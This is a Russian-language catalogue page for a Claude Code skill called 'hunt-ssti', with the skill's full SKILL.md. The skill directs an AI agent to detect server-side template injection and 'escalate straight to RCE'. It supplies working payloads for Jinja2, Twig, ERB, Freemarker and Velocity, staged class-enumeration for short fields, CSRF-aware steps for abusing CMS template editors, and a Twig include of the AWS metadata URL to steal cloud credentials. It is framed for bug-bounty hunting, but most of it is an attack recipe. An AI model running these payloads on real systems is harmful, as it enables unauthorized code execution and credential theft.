К основному содержанию
скилл CX Codex

hunt-ssti — скилл для Claude Code: поиск SSTI и выход на RCE

Скилл hunt-ssti ищет серверный шаблонный инжекшн в Jinja2, Twig, Freemarker и других движках, а найденную пробу доводит до выполнения команд на сервере.

MIT ★ 16 193 обновлён 2026-10-29

Установить в Claude Code · Через маркетплейс плагинов Все способы и платформы ↓
/plugin marketplace add elementalsouls/Claude-BugHunter
/plugin install claude-bughunter@elementalsouls
Открыть на GitHub

Что делает hunt-ssti

Скилл ведёт охоту за SSTI по шагам: сначала пробы {{7*7}}, ${7*7}, <%= 7*7 %> и *{7*7} — по ответу видно, какой движок считает выражение на сервере. Проба {{7*'7'}} разделяет Jinja2 и Twig: 7777777 против 49. Дальше идёт payload под конкретный движок: os.popen через __globals__ для Jinja2, registerUndefinedFilterCallback для Twig, backticks для ERB, утилита Execute для Freemarker.

Готовые эксплойты и порядок атаки собраны из 6 публичных отчётов HackerOne, базы CVE и открытых исследований. Отдельная ветка — про поля с лимитом длины, имя профиля или тема письма: полный однострочник туда не влезет, поэтому классы перебирают ступенями, а вывод ищут в письме-подтверждении, а не на странице.

JSON-тело на обычной форме уходит в пустоту: обработчик читает request.form, поэтому payload шлют как application/x-www-form-urlencoded. В редакторе шаблонов CMS id записи держат в query-строке, а csrf перечитывают перед каждым запросом.

Какие задачи решает

  • опознать движок шаблонов по реакции на математическую пробу
  • вытащить вывод id из письма-подтверждения, а не со страницы
  • обойти лимит длины в поле имени профиля
  • пройтись по редактору шаблонов CMS с живым csrf
  • связать SSTI с XSS, когда движок закрыт песочницей

Примеры запросов агенту

  • Проверь поле name в форме профиля на SSTI: начни с {{7*7}} и доберись до выполнения id.
  • В редакторе шаблонов CMS поле template рендерится сервером — определи движок и попробуй Execute для Freemarker.
  • Поле имени профиля короткое и полный payload не влезает — разложи перечисление классов по шагам.

Как установить hunt-ssti

1Через маркетплейс плагинов

/plugin marketplace add elementalsouls/Claude-BugHunter
/plugin install claude-bughunter@elementalsouls

Команда ставит плагин claude-bughunter целиком, со всеми его скиллами

2Через Skills CLI (Vercel)

npx skills add elementalsouls/Claude-BugHunter --skill hunt-ssti -a claude-code

3Вручную: положить файлы

~/.claude/skills/hunt-ssti/SKILL.md

Папка скилла целиком; для одного проекта — .claude/skills/hunt-ssti/

По шагам, с командами для каждой платформы: Как установить скилл в Claude Code: пять способов

Вопросы о hunt-ssti

Как установить hunt-ssti в Claude Code?

Через маркетплейс: /plugin marketplace add elementalsouls/Claude-BugHunter, затем /plugin install claude-bughunter@elementalsouls.

Что делает hunt-ssti?

Проводит проверку на SSTI: определяет движок шаблонов по реакции на пробы, подставляет payload под него и подтверждает выполнение команд выводом id.

Почему payload не сработал в обычной HTML-форме?

Скорее всего ушёл JSON. Формы читают request.form и такое тело не видят, поэтому запрос отправляют как application/x-www-form-urlencoded.

Исходный текст

SKILL.md · MIT
---
name: hunt-ssti
description: "Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thymeleaf, Smarty. Detection probes use double-curly and dollar-curly math expressions evaluated server-side. Once an engine is fingerprinted, escalate to RCE via the engine-specific class-walker, callback-registrar, or Execute-utility patterns documented in disclosed reports. Detection patterns: error messages reveal engine, blank or numeric eval reveals expression mode. Targets: email templates, PDF/report generators, CMS preview features, error pages with user input. Use when hunting RCE via template rendering, when content shows engine fingerprints, when finding endpoints that compose strings with user input before render."
sources: hackerone_public, cve_database, public_research
report_count: 6
---

## Autonomous Testing Priority

**Escalate straight to RCE — don't stop at arithmetic detection.**

Arithmetic probes (`{{7*7}}→49`) confirm the injection point but are not proof of impact. The real goal is OS command execution. Arithmetic detection also fails silently when the app echoes the input back (e.g. inside an HTML attribute like `<input value="{{7*7}}">`), producing a false negative even when injection exists.

**Order of attack:**
1. **Try Jinja2 RCE first** (covers Python/Flask — the most common stack in modern web apps):
   ```
   {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
   ```
2. **If the endpoint is a traditional web form**, send as form-encoded body — NOT JSON:
   ```
   Content-Type: application/x-www-form-urlencoded
   field={{config.__class__.__init__.__globals__['os'].popen('id').read()}}
   ```
   JSON bodies are silently ignored by form-processing endpoints (`request.form['field']` sees nothing).
3. **If Jinja2 fails**, try Twig (PHP/Symfony): `{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}`
4. **Fall back to arithmetic detection** only to fingerprint the engine when RCE payloads fail.

**Proof:** Command output (`uid=N(user) gid=...`) in the response confirms RCE. If the output appears in HTML (inside a `<div>` or `<pre>`), that still counts — the format is irrelevant, the content is the evidence.

---

## 14. SSTI — SERVER-SIDE TEMPLATE INJECTION
> Easy to detect, high payout ($2K–$8K). Direct path to RCE.

### Detection Payloads (try all)
```
{{7*7}}          → 49 = Jinja2 / Twig
${7*7}           → 49 = Freemarker / Velocity / Mako (all use ${...})
<%= 7*7 %>       → 49 = ERB (Ruby)
*{7*7}           → 49 = Spring Thymeleaf
{{7*'7'}}        → 7777777 = Jinja2 (Python string repetition); 49 = Twig (numeric coercion of '7'). Differentiates Jinja2 from Twig.
```

### RCE Payloads

**Jinja2 (Python/Flask):**
```python
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
```

**Twig (PHP/Symfony):**
```php
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
```

**ERB (Ruby):**
```ruby
<%= `id` %>
```

### Length-constrained injection fields (profile name, display name, subject)
When the injectable field caps input length (a profile-name / display-name field is often ≤30-64 chars), the full `os.popen` one-liner won't fit — but detection and class-enumeration still do. Confirm with the short probe, then enumerate the gadget index in stages instead of one payload:
```python
{{ '7'*7 }}                                  # detection, fits anywhere
{{ [].__class__.__base__.__subclasses__() }} # dump class list, pick the index for subprocess.Popen/os
{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate() }}
```
The reflected sink is frequently an **outbound email** (the account-update / confirmation mail rendering your name), not the web page — read the email body for the evaluated output. Disclosed: reports/125980 (profile-name → Jinja2 → confirmation email, length-limited).

### Where to Test
```
Name/bio/description fields, email templates, invoice name, PDF generators,
URL path parameters, search queries reflected in results, HTTP headers reflected
```

### CMS / "documentation" template-editor forms (authenticated)

Some SSTI lives behind a logged-in template editor (CMS "edit template" / product-template / email-template
preview). PortSwigger's *"SSTI using documentation"* class is this shape. Three things break a naive attempt:

1. **Fingerprint BEFORE firing RCE — the engine decides the syntax.** Do NOT assume Jinja2. Probe the
   whole matrix and read which one evaluates:
   ```
   ${7*7}  → 49  AND  #{7*7} → 49   ⇒ Freemarker (Java)   ← {{7*7}} does NOTHING here
   {{7*7}} → 49                      ⇒ Jinja2 / Twig
   <%= 7*7 %> → 49                   ⇒ ERB (Ruby)
   *{7*7}  → 49                      ⇒ Thymeleaf (Spring)
   ```
   If `{{7*7}}` renders literally but `${7*7}`→49, you are on **Freemarker** — stop sending `{{config...}}`.

2. **The record id is usually a QUERY param, not a body field.** The editor form posts back to
   `POST /…/template?productId=N` with the id in the URL. The BODY carries only
   `csrf`, `template`, and a `template-action` (`preview` | `save`). Putting the id in the body returns
   `400 "Missing product id"`. So keep the id in the query string (`?productId=N`) AND send a
   form-encoded body of `csrf=…&template=<PAYLOAD>&template-action=preview`.

3. **Re-fetch the CSRF each time and use `preview` to iterate.** GET the editor page to read a *fresh*
   `csrf` hidden field; `template-action=preview` renders your payload WITHOUT persisting (fast feedback
   loop). Switch to `template-action=save` only once the payload is right, then trigger the render
   (load the public page that uses the template) to fire the command.

   **Freemarker documentation RCE** (the documented `Execute` utility — this IS the intended technique):
   ```
   <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
   ```
   Velocity equivalent: `#set($e="e");$e.getClass().forName("java.lang.Runtime")...`.

---

## Related Skills & Chains

- **`hunt-rce`** — SSTI is the easiest path to RCE on Python/Ruby/PHP/Java stacks because the template language already exposes the runtime. Chain primitive: Jinja2 `{{config.__class__.__init__.__globals__['os'].popen('id').read()}}` or Freemarker `<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}` → unauthenticated RCE as the rendering worker. Always escalate fingerprint → class-walker → cmd exec.
- **`hunt-xss`** — When the template engine sandboxes the runtime (or you only get the rendered output back as HTML), the same `{{7*7}}` reflection often still yields stored XSS. Chain primitive: sandboxed Jinja2 SSTI without escapes → inject `<script>` into rendered email template → stored XSS hitting every recipient who views the message.
- **`hunt-ssrf`** — Template engines often expose URL fetchers/filters before they expose the runtime, giving you SSRF before RCE. Chain primitive: Twig `{{ include('http://169.254.169.254/latest/meta-data/iam/security-credentials/') }}` or Jinja2 with `url_for`/custom filters → AWS metadata exfil → cloud creds.
- **`hunt-file-upload`** — Office docs, SVGs, and email templates uploaded by the user are common SSTI surfaces (the server re-renders them). Chain primitive: upload a DOCX whose `word/document.xml` contains `${T(java.lang.Runtime).getRuntime().exec("id")}` to a Velocity/Freemarker-driven mail-merge → RCE.
- **`security-arsenal`** — Reach for the engine-specific escape payload tree: Jinja2 class-walker variants (`__subclasses__()[N]` index hunting), Twig `_self.env` registerUndefinedFilterCallback, Freemarker `?new()` Execute, ERB backticks, Velocity `$class.inspect`, Smarty `{php}...{/php}`, plus the WAF-bypass variants (`{{request|attr('application')|...}}`, Unicode escapes, `{%print(...)%}`).
- **`triage-validation`** — Apply the Pre-Severity Gate before claiming Critical RCE. A `{{7*7}} → 49` reflection inside a sandboxed engine (e.g., Twig sandbox mode, Jinja2 SandboxedEnvironment with no escape) is Medium SSTI, not Critical RCE. Prove `id`/OOB DNS callback with a unique marker before writing the report.

© Sachin Sharma · MIT · elementalsouls/Claude-BugHunter

Похожие скиллы

Все скиллы по теме «Безопасность» →
ssti-server-side-template-injection yaklang Скилл ssti-server-side-template-injection помогает находить серверное внедрение в шаблоны, определять движок и прослеживать цепочки до выполнения команд. CX Codex +1 4 000установок ssti-hunter H-mmer Субагент ssti-hunter для поиска и эксплуатации серверных шаблонных инъекций (SSTI) в Jinja2, Twig, Velocity, FreeMarker, ERB и Handlebars. Автоматизирует определение типа движка, картирование блоклистов песочницы и подбор обходов для RCE. CX Codex +1 ★ 1 298звёзд репо hunt-rce H-mmer Скилл hunt-rce для поиска уязвимостей удалённого выполнения кода: подсказывает, где искать RCE в вебе, CI/CD, контейнерах и ML-сервисах, и даёт готовые grep-сигнатуры. CX Codex +1 ★ 1 298звёзд репо exploiting-template-injection-vulnerabilities mahipal Скилл exploiting-template-injection-vulnerabilities для Claude Code, который находит и эксплуатирует Server-Side Template Injection в Jinja2, Twig, Freemarker и других шаблонизаторах. CX Codex +1 266установок prototype-pollution-advanced yaklang Скилл prototype-pollution-advanced для Claude Code разбирает серверный RCE через шаблонизаторы, клиентские гаджеты, обходы фильтров и детект. Включается после подтверждения prototype pollution. CX Codex +1 3 900установок secops-hunt официальный Google LLC Скилл secops-hunt для Claude Code помогает искать угрозы в Google SecOps по UDM-событиям. Он проверяет гипотезы, ищет IoC в истории и выявляет отклонения в телеметрии. CX Codex +1 1 900установок

Из того же набора92

Весь набор →
recon-scope-triage Скилл recon-scope-triage проверяет, кому принадлежат активы из ASM и OSINT-выгрузок, прежде чем начинать тестирование. Помогает отсеять совпадения по названию бренда и ложные веб-находки. CX Codex +1 ★ 16 193звёзд репо hunt-file-upload Скилл hunt-file-upload для поиска уязвимостей в функциях загрузки файлов: RCE через webshell, XSS через SVG, SSRF через XXE в DOCX, обход фильтров расширений. CX Codex +1 ★ 16 193звёзд репо hunt-nodejs Скилл hunt-nodejs для поиска уязвимостей в приложениях на Node.js, Express, Fastify, NestJS и Koa. CX Codex +1 ★ 16 193звёзд репо hunt-laravel Скилл hunt-laravel проверяет Laravel-приложения на уязвимости: от открытых панелей Telescope и Horizon до ошибок в подписанных URL. Запускайте его при аудите проекта на Laravel. CX Codex +1 ★ 16 193звёзд репо hunt-shadow-api Скилл hunt-shadow-api находит забытые и теневые версии API, сравнивая спецификации и проверяя регрессии в аутентификации и лимитах. Пригодится при аудите устаревших эндпоинтов. CX Codex +1 ★ 16 193звёзд репо hunt-mfa-bypass Скилл hunt-mfa-bypass помогает проверять, можно ли обойти MFA в потоке входа: пропустить проверку, повторно использовать OTP или получить доступ к защищённому ресурсу раньше времени. Используйте его при аудите авторизации. CX Codex +1 ★ 16 193звёзд репо hunt-spa-api Скилл hunt-spa-api извлекает карту API из JS-бандлов одностраничного приложения и проверяет маршруты на отсутствие аутентификации. CX Codex +1 ★ 16 193звёзд репо hunt-jwt-crypto Скилл hunt-jwt-crypto ищет криптографические уязвимости в JWT-токенах: обход проверки через alg:none, подмену алгоритма RS256 на HS256 и инъекции в заголовки. CX Codex +1 ★ 16 193звёзд репо

Спонсоры проекта

Компании, которые помогают держать аналитику открытой